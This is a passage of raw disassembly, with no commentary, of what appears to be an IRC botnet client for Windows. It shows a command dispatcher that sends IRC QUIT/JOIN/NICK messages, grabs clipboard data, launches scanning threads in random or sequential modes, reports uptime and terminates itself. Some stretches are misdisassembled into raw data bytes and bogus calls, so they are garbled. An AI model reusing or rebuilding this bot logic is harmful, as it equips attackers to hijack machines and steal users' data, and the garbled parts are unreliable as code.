		call	sub_4110D8
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42DEE0
		push	eax
		call	sub_411EEE
		add	esp, 1Ch
		jmp	loc_40DF55
; ---------------------------------------------------------------------------


loc_40E6AD:				; CODE XREF: .nsp0:0040B8DDj
					; .nsp0:0040B8F4j
		push	edi
		call	sub_41245F
		test	eax, eax
		pop	ecx
		jle	loc_40A7B4
		push	edi
		call	sub_41245F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40A7B4
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		push	dword_438C64[eax]
		call	sub_40F9AB
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_41D05C	; Sleep
		push	edi
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		push	dword_438C64[eax]
		call	dword_433B60	; closesocket
		push	dword ptr [ebp-10h]
		push	edi
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		push	dword_438C6C[eax]
		call	near ptr 0AB0000h
		loop	near ptr loc_40E782+3
		call	sub_41245F
		imul	eax, 234h
		push	edi
		mov	dword_438C6C[eax], ebx
		call	sub_41245F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_438A58[eax], bl
		jmp	loc_40A7B4
; ---------------------------------------------------------------------------


loc_40E758:				; CODE XREF: .nsp0:0040B8AFj
					; .nsp0:0040B8C6j
		push	edi
		push	offset aAll	; "all"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E787
		call	sub_411B63
		cmp	eax, ebx
		jle	short loc_40E77D
		push	eax
		push	offset dword_42D87C
		jmp	loc_40C867
; ---------------------------------------------------------------------------


loc_40E77D:				; CODE XREF: .nsp0:0040E770j
		push	offset dword_42D840


loc_40E782:				; CODE XREF: .nsp0:0040E72Cj
		jmp	loc_40EF8A
; ---------------------------------------------------------------------------


loc_40E787:				; CODE XREF: .nsp0:0040E767j
		mov	eax, [ebp-0ACh]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40A7B4
		lea	eax, [ebp+edi*4-94h]
		mov	[ebp+2Ch], eax


loc_40E7A3:				; CODE XREF: .nsp0:0040E814j
		mov	eax, [ebp+2Ch]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40A7B4
		push	esi
		call	sub_41245F
		push	eax
		call	sub_411AD5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40E7CA
		push	offset dword_42D808
		jmp	short loc_40E7CF
; ---------------------------------------------------------------------------


loc_40E7CA:				; CODE XREF: .nsp0:0040E7C1j
		push	offset dword_42D7C8


loc_40E7CF:				; CODE XREF: .nsp0:0040E7C8j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40E7FF
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 14h


loc_40E7FF:				; CODE XREF: .nsp0:0040E7E1j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_408E17
		add	dword ptr [ebp+2Ch], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40E7A3
		jmp	loc_40A7B4
; ---------------------------------------------------------------------------


loc_40E81B:				; CODE XREF: .nsp0:0040B881j
					; .nsp0:0040B898j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F7D2
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40F7D2
		push	esi
		push	offset dword_42DEF4
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		push	esi
		push	offset dword_42D79C
		jmp	loc_40E137
; ---------------------------------------------------------------------------


loc_40E852:				; CODE XREF: .nsp0:0040B853j
					; .nsp0:0040B86Aj
		push	edi
		push	offset dword_42DE00
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		push	edi
		push	offset dword_42D768
		jmp	loc_40E137
; ---------------------------------------------------------------------------


loc_40E86B:				; CODE XREF: .nsp0:0040B825j
					; .nsp0:0040B83Cj
		push	dword ptr [ebp+esi-8Ch]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		push	edi
		push	offset dword_42D734
		jmp	loc_40E00B
; ---------------------------------------------------------------------------


loc_40E88B:				; CODE XREF: .nsp0:0040B7F7j
					; .nsp0:0040B80Ej
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		push	edi
		push	offset dword_42D6FC
		jmp	loc_40E137
; ---------------------------------------------------------------------------


loc_40E8A4:				; CODE XREF: .nsp0:0040B7BCj
					; .nsp0:0040B7D1j
		mov	al, byte_422952
		mov	[ebp+8], ebx
		cmp	al, bl
		mov	edx, offset byte_422952
		jz	loc_40A7B4
		mov	ecx, edx


loc_40E8BB:				; CODE XREF: .nsp0:0040E8C3j
		inc	dword ptr [ebp+8]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40E8BB
		cmp	al, bl
		jz	loc_40A7B4
		mov	[ebp+20h], edx


loc_40E8D0:				; CODE XREF: .nsp0:0040EB8Ej
		push	8
		call	sub_411BE2
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	dword ptr [ebp+8]
		add	eax, ecx
		cmp	eax, 12Ch
		jle	short loc_40E91F
		push	ecx
		lea	eax, [ebp-2C8h]
		push	offset dword_42E7A8
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 20h
		jmp	loc_40EB85
; ---------------------------------------------------------------------------


loc_40E91F:				; CODE XREF: .nsp0:0040E8EAj
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	dword_422880, ebx
		mov	dword ptr [ebp-304h], 64h
		mov	dword ptr [ebp-318h], 4
		mov	dword ptr [ebp-314h], 1F4h
		mov	[ebp+8], ebx
		jz	short loc_40E990
		mov	eax, [ebp+20h]
		mov	edi, offset dword_422880
		lea	esi, [eax-0Ah]


loc_40E95A:				; CODE XREF: .nsp0:0040E972j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E976
		inc	dword ptr [ebp+8]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_40E95A
		jmp	short loc_40E990
; ---------------------------------------------------------------------------


loc_40E976:				; CODE XREF: .nsp0:0040E968j
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, dword_422880[ecx]
		mov	[ebp-31Ch], ecx


loc_40E990:				; CODE XREF: .nsp0:0040E94Dj
					; .nsp0:0040E974j
		cmp	[ebp-31Ch], ebx
		jz	loc_40EB99
		push	10h
		lea	eax, [ebp+18h]
		pop	esi
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		mov	[ebp+18h], esi
		push	dword ptr [ebp+0Ch]
		call	dword_433A6C	; getsockname
		mov	al, [ebp-9B3h]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2D4h], eax
		push	dword ptr [ebp-2D4h]
		call	dword_433B54	; inet_ntoa
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_413710
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_413A10
		add	esp, 14h
		cmp	edi, ebx
		mov	[ebp+2Fh], bl
		jle	short loc_40EA32


loc_40EA10:				; CODE XREF: .nsp0:0040EA30j
		cmp	eax, ebx
		jz	short loc_40EA32
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_413A10
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40EA10


loc_40EA32:				; CODE XREF: .nsp0:0040EA0Ej
					; .nsp0:0040EA12j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp-4]
		mov	[ebp-320h], eax
		mov	eax, [ebp-8]
		mov	edi, 80h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		mov	dword ptr [ebp-2F0h], 1
		mov	[ebp-2F8h], esi
		call	sub_41246A
		push	offset byte_432708
		push	offset dword_425C00
		call	sub_412310
		add	esp, 14h
		test	eax, eax
		jz	short loc_40EA9C
		push	offset dword_425C00
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_41246A
		add	esp, 0Ch
		jmp	short loc_40EAA2
; ---------------------------------------------------------------------------


loc_40EA9C:				; CODE XREF: .nsp0:0040EA83j
		mov	[ebp-3A0h], bl


loc_40EAA2:				; CODE XREF: .nsp0:0040EA9Aj
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40EAB4
		mov	eax, offset aSequential	; "Sequential"


loc_40EAB4:				; CODE XREF: .nsp0:0040EAADj
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42D680
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_41199A
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset sub_405FF1
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40EB3E


loc_40EB2C:				; CODE XREF: .nsp0:0040EB3Cj
		cmp	[ebp-2ECh], ebx
		jnz	short loc_40EB59
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40EB2C
; ---------------------------------------------------------------------------


loc_40EB3E:				; CODE XREF: .nsp0:0040EB2Aj
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42E684
		push	eax
		call	sub_411EEE
		add	esp, 0Ch


loc_40EB59:				; CODE XREF: .nsp0:0040EB32j
		cmp	[ebp-8], ebx
		jnz	short loc_40EB78
		push	ebx
		lea	eax, [ebp-2C8h]
		push	esi
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 14h


loc_40EB78:				; CODE XREF: .nsp0:0040EB5Cj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_408E17
		pop	ecx


loc_40EB85:				; CODE XREF: .nsp0:0040E91Aj
		add	dword ptr [ebp+20h], 0Bh
		mov	eax, [ebp+20h]
		cmp	[eax], bl
		jnz	loc_40E8D0
		jmp	loc_40A7B4
; ---------------------------------------------------------------------------


loc_40EB99:				; CODE XREF: .nsp0:0040CEFCj
					; .nsp0:0040E996j
		push	offset dword_42D634
		jmp	loc_40EF8A
; ---------------------------------------------------------------------------


loc_40EBA3:				; CODE XREF: .nsp0:0040B792j
					; .nsp0:0040B7A7j
		push	4
		call	sub_411BE2
		test	eax, eax
		pop	ecx
		jle	short loc_40EBC7
		push	offset unk_42D600


loc_40EBB4:				; CODE XREF: .nsp0:0040BB5Fj
					; .nsp0:0040BC6Aj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx
		jmp	loc_40F73A
; ---------------------------------------------------------------------------


loc_40EBC7:				; CODE XREF: .nsp0:0040EBADj
		mov	eax, [ebp+esi-90h]
		cmp	eax, ebx
		jz	short loc_40EBEA
		push	eax
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		call	sub_41246A
		add	esp, 0Ch
		jmp	short near ptr loc_40EBFD+1
; ---------------------------------------------------------------------------


loc_40EBEA:				; CODE XREF: .nsp0:0040EBD0j
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		push	ebx
		call	near ptr 0AB0000h


loc_40EBFD:				; CODE XREF: .nsp0:0040EBE8j
		mov	[ebx-8BCA4Ch], cl
; ---------------------------------------------------------------------------
		db 0FFh
		dd 75F33BFFh, 5BC0BE05h, 8D560042h, 0FFF90085h,	0E85057FFh
		dd 384Eh, 425B58A1h, 0FF7F6A00h, 0FFFF74B5h, 0C8589FFh
		dd 8BFFFFFAh, 9D890C45h, 0FFFFFA08h, 0F7F88589h, 858DFFFFh
		dd 0FFFFFA10h, 4AC6E850h, 458B0000h, 908589FCh,	8BFFFFFAh
		dd 8589F845h, 0FFFFFA94h, 0F900858Dh, 8D50FFFFh, 0FFF7FC85h
		dd 858D50FFh, 0FFFFFD38h, 0FA0CB5FFh, 0A468FFFFh, 5000422Bh
		dd 326DE8h, 858D5300h, 0FFFFFD38h, 0E850046Ah, 2D0Ah, 8938C483h
		dd 0FFFA0485h, 0F0458DFFh, 0F8858D50h, 53FFFFF7h, 52906850h
		dd 53530040h, 0D07015FFh, 8D8B0041h, 0FFFFFA04h, 234C969h
		dd 0C33B0000h, 8C6C8189h, 16740043h, 0FA989D39h, 850FFFFFh
		dd 0A66h, 15FF326Ah, 41D05Ch, 15FFEAEBh, 41D06Ch, 0D5B46850h
		dd 3CE90042h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_40ECEF:				; CODE XREF: .nsp0:0040B768j
					; .nsp0:0040B77Dj
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_40ED0E
		push	edi
		call	sub_41245F
		test	eax, eax
		pop	ecx
		jz	short loc_40ED0E
		push	edi
		call	sub_41245F
		pop	ecx
		jmp	short loc_40ED13
; ---------------------------------------------------------------------------


loc_40ED0E:				; CODE XREF: .nsp0:0040ECF8j
					; .nsp0:0040ED03j
		mov	eax, dword_425B5C


loc_40ED13:				; CODE XREF: .nsp0:0040ED0Cj
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-584h], eax
		xor	eax, eax
		cmp	[ebp-9B0h], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp-570h], eax
		jz	short loc_40ED46
		lea	eax, [ebp-688h]
		push	esi
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx
		jmp	short loc_40ED71
; ---------------------------------------------------------------------------


loc_40ED46:				; CODE XREF: .nsp0:0040ED33j
		lea	eax, [ebp-3E8h]
		push	104h
		push	eax
		call	near ptr 0AB0000h
		push	edx
		push	ebx
		push	ebx
		lea	eax, [ebp-2D4h]
		push	ebx
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		call	sub_413BF8
		add	esp, 14h


loc_40ED71:				; CODE XREF: .nsp0:0040ED44j
		lea	eax, [ebp-688h]
		push	eax
		call	sub_4126F0
		cmp	byte ptr [ebp+eax-689h], 5Ch
		pop	ecx
		jnz	short loc_40ED9C
		lea	eax, [ebp-688h]
		push	eax
		call	sub_4126F0
		pop	ecx
		mov	[ebp+eax-689h],	bl


loc_40ED9C:				; CODE XREF: .nsp0:0040ED86j
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-910h]
		mov	[ebp-914h], esi
		push	80h
		push	eax
		call	sub_41246A
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-688h]
		mov	[ebp-578h], edi
		push	eax
		push	dword ptr [ebp-584h]
		push	esi
		call	sub_408045
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_422A74
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	3
		push	eax
		call	sub_41199A
		add	esp, 20h
		mov	[ebp-57Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-914h]
		push	ebx
		push	eax
		push	offset sub_404175
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-57Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40EE50


loc_40EE3E:				; CODE XREF: .nsp0:0040EE4Ej
		cmp	[ebp-568h], ebx
		jnz	short loc_40EE6B
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40EE3E
; ---------------------------------------------------------------------------


loc_40EE50:				; CODE XREF: .nsp0:0040EE3Cj
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D568


loc_40EE5C:				; CODE XREF: .nsp0:0040D416j
					; .nsp0:0040D510j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		add	esp, 0Ch


loc_40EE6B:				; CODE XREF: .nsp0:0040D3FAj
					; .nsp0:0040D4F4j ...
		cmp	[ebp-8], ebx
		jnz	loc_40C897
		push	ebx
		push	edi


loc_40EE76:				; CODE XREF: .nsp0:0040CCC2j
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	esi
		jmp	loc_40C88F
; ---------------------------------------------------------------------------


loc_40EE89:				; CODE XREF: .nsp0:0040B73Ej
					; .nsp0:0040B753j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40EE9C
		push	esi
		call	sub_41245F
		jmp	short loc_40EEA3
; ---------------------------------------------------------------------------


loc_40EE9C:				; CODE XREF: .nsp0:0040EE92j
		push	8
		call	sub_411C01


loc_40EEA3:				; CODE XREF: .nsp0:0040EE9Aj
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F7D2
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_405851


loc_40EEBE:				; CODE XREF: .nsp0:0040F32Ej
		add	esp, 10h
		jmp	loc_40F7D2
; ---------------------------------------------------------------------------


loc_40EEC6:				; CODE XREF: .nsp0:0040B714j
					; .nsp0:0040B729j
		mov	eax, dword_4339F0
		cmp	eax, ebx
		jz	short loc_40EEE3
		call	eax ; dword_4339F0
		test	eax, eax
		jz	short loc_40EEDC
		push	offset unk_42D530
		jmp	short loc_40EEF8
; ---------------------------------------------------------------------------


loc_40EEDC:				; CODE XREF: .nsp0:0040EED3j
		push	offset unk_42D4F0
		jmp	short loc_40EEF8
; ---------------------------------------------------------------------------


loc_40EEE3:				; CODE XREF: .nsp0:0040EECDj
		push	offset unk_42D4B0
		jmp	short loc_40EEF8
; ---------------------------------------------------------------------------


loc_40EEEA:				; CODE XREF: .nsp0:0040B6EAj
					; .nsp0:0040B6FFj
		call	sub_407F67
		test	eax, eax
		jz	short loc_40EF0E
		push	offset unk_42D478


loc_40EEF8:				; CODE XREF: .nsp0:0040EEDAj
					; .nsp0:0040EEE1j ...
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41246A
		jmp	loc_40F692
; ---------------------------------------------------------------------------


loc_40EF0E:				; CODE XREF: .nsp0:0040EEF1j
		push	offset unk_42D438
		jmp	short loc_40EEF8
; ---------------------------------------------------------------------------


loc_40EF15:				; CODE XREF: .nsp0:0040B6C0j
					; .nsp0:0040B6D5j
		cmp	[ebp-8], ebx
		jnz	short loc_40EF34
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 14h


loc_40EF34:				; CODE XREF: .nsp0:0040EF18j
		push	ebx
		push	dword ptr [ebp-4]
		call	sub_407B66
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		push	offset dword_42D3F4
		jmp	loc_40F1FD
; ---------------------------------------------------------------------------


loc_40EF56:				; CODE XREF: .nsp0:0040B5E0j
					; .nsp0:0040B5F5j
		push	7
		call	sub_411BE2
		test	eax, eax
		pop	ecx
		jle	short loc_40EF69
		push	offset dword_42D3B8
		jmp	short loc_40EF8A
; ---------------------------------------------------------------------------


loc_40EF69:				; CODE XREF: .nsp0:0040EF60j
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	near ptr loc_4086D0+1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40EF85
		push	offset dword_42D37C
		jmp	short loc_40EF8A
; ---------------------------------------------------------------------------


loc_40EF85:				; CODE XREF: .nsp0:0040EF7Cj
		push	offset dword_42D348


loc_40EF8A:				; CODE XREF: .nsp0:0040CA5Fj
					; .nsp0:0040CB8Fj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx
		jmp	loc_40C876
; ---------------------------------------------------------------------------


loc_40EF9D:				; CODE XREF: .nsp0:0040B5B6j
					; .nsp0:0040B5CBj
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_407553
		jmp	loc_40F21B
; ---------------------------------------------------------------------------


loc_40EFB6:				; CODE XREF: .nsp0:0040B58Cj
					; .nsp0:0040B5A1j
		push	dword ptr [ebp+esi-90h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_409981
		jmp	loc_40F21B
; ---------------------------------------------------------------------------


loc_40EFD3:				; CODE XREF: .nsp0:0040B562j
					; .nsp0:0040B577j
		or	edi, 0FFFFFFFFh
		call	dword_41D048	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], eax
		jz	short loc_40EFFC
		push	esi
		call	sub_41245F
		pop	ecx
		mov	edi, eax


loc_40EFFC:				; CODE XREF: .nsp0:0040EFF1j
		mov	eax, [ebp+8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40F015
		cmp	edi, 0FFFFFFFFh
		jnz	loc_40F7D2


loc_40F015:				; CODE XREF: .nsp0:0040F00Aj
		push	ebx
		call	sub_408886
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42D31C
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_408E17
		jmp	loc_40D24B
; ---------------------------------------------------------------------------


loc_40F057:				; CODE XREF: .nsp0:0040B538j
					; .nsp0:0040B54Dj
		push	1Eh
		call	sub_411BE2
		test	eax, eax
		pop	ecx
		jle	short loc_40F08B
		cmp	[ebp-8], ebx
		jnz	loc_40A7B4
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_42D2E8
		push	dword ptr [ebp-8Ch]


loc_40F07B:				; CODE XREF: .nsp0:0040ABC2j
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 14h
		jmp	loc_40A7B4
; ---------------------------------------------------------------------------


loc_40F08B:				; CODE XREF: .nsp0:0040F061j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_41246A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		mov	[ebp-458h], ebx
		jz	short loc_40F0EC
		push	esi
		push	offset aFull	; "full"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0EC
		mov	dword ptr [ebp-458h], 1


loc_40F0EC:				; CODE XREF: .nsp0:0040F0CFj
					; .nsp0:0040F0E0j
		lea	eax, [ebp-2C8h]
		push	offset dword_42D2AC
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Eh
		push	eax
		call	sub_41199A
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_410C28
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40F15A


loc_40F144:				; CODE XREF: .nsp0:0040F158j
		cmp	[ebp-44Ch], ebx
		jnz	loc_40C897
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40F144
; ---------------------------------------------------------------------------


loc_40F15A:				; CODE XREF: .nsp0:0040F142j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42D25C
		jmp	loc_40DB89
; ---------------------------------------------------------------------------


loc_40F16B:				; CODE XREF: .nsp0:0040B50Ej
					; .nsp0:0040B523j
		cmp	[ebp-8], ebx
		jnz	short loc_40F18A
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_42D230
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 14h


loc_40F18A:				; CODE XREF: .nsp0:0040F16Ej
		push	dword ptr [ebp+0Ch]
		call	dword_433B60	; closesocket
		call	dword_433A28	; WSACleanup
		call	loc_407CE9
		push	ebx
		call	dword_41D108	; ExitProcess


loc_40F1A5:				; CODE XREF: .nsp0:0040B4E4j
					; .nsp0:0040B4F9j
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_4089A5
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		push	offset dword_42D204
		jmp	short loc_40F1FD
; ---------------------------------------------------------------------------


loc_40F1D0:				; CODE XREF: .nsp0:0040B4BAj
					; .nsp0:0040B4CFj
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_408C59
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		push	offset dword_42D1D8


loc_40F1FD:				; CODE XREF: .nsp0:0040EF51j
					; .nsp0:0040F1CEj
		call	sub_408E17
		jmp	loc_40E010
; ---------------------------------------------------------------------------


loc_40F207:				; CODE XREF: .nsp0:0040B490j
					; .nsp0:0040B4A5j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_408EB7


loc_40F21B:				; CODE XREF: .nsp0:0040A6FEj
					; .nsp0:0040EFB1j ...
		add	esp, 10h
		jmp	loc_40A7B4
; ---------------------------------------------------------------------------


loc_40F223:				; CODE XREF: .nsp0:0040B466j
					; .nsp0:0040B47Bj
		cmp	[ebp-0Ch], ebx
		mov	[ebp-374h], bl
		jz	short loc_40F262
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40F262
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F262
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp-374h]
		push	80h
		push	eax
		call	sub_41246A
		add	esp, 10h


loc_40F262:				; CODE XREF: .nsp0:0040F22Cj
					; .nsp0:0040F237j ...
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-3F4h]
		push	80h
		push	eax
		call	sub_41246A
		mov	eax, [ebp+0Ch]
		push	offset dword_42D1AC
		mov	[ebp-3F8h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Ch
		push	eax
		call	sub_41199A
		add	esp, 20h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3F8h]
		push	ebx
		push	eax
		push	offset sub_408EF7
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40F302


loc_40F2EC:				; CODE XREF: .nsp0:0040F300j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40A7B4
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40F2EC
; ---------------------------------------------------------------------------


loc_40F302:				; CODE XREF: .nsp0:0040F2EAj
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42D160
		jmp	loc_40F959
; ---------------------------------------------------------------------------


loc_40F313:				; CODE XREF: .nsp0:0040B43Cj
					; .nsp0:0040B451j
		push	dword ptr [ebp-4]
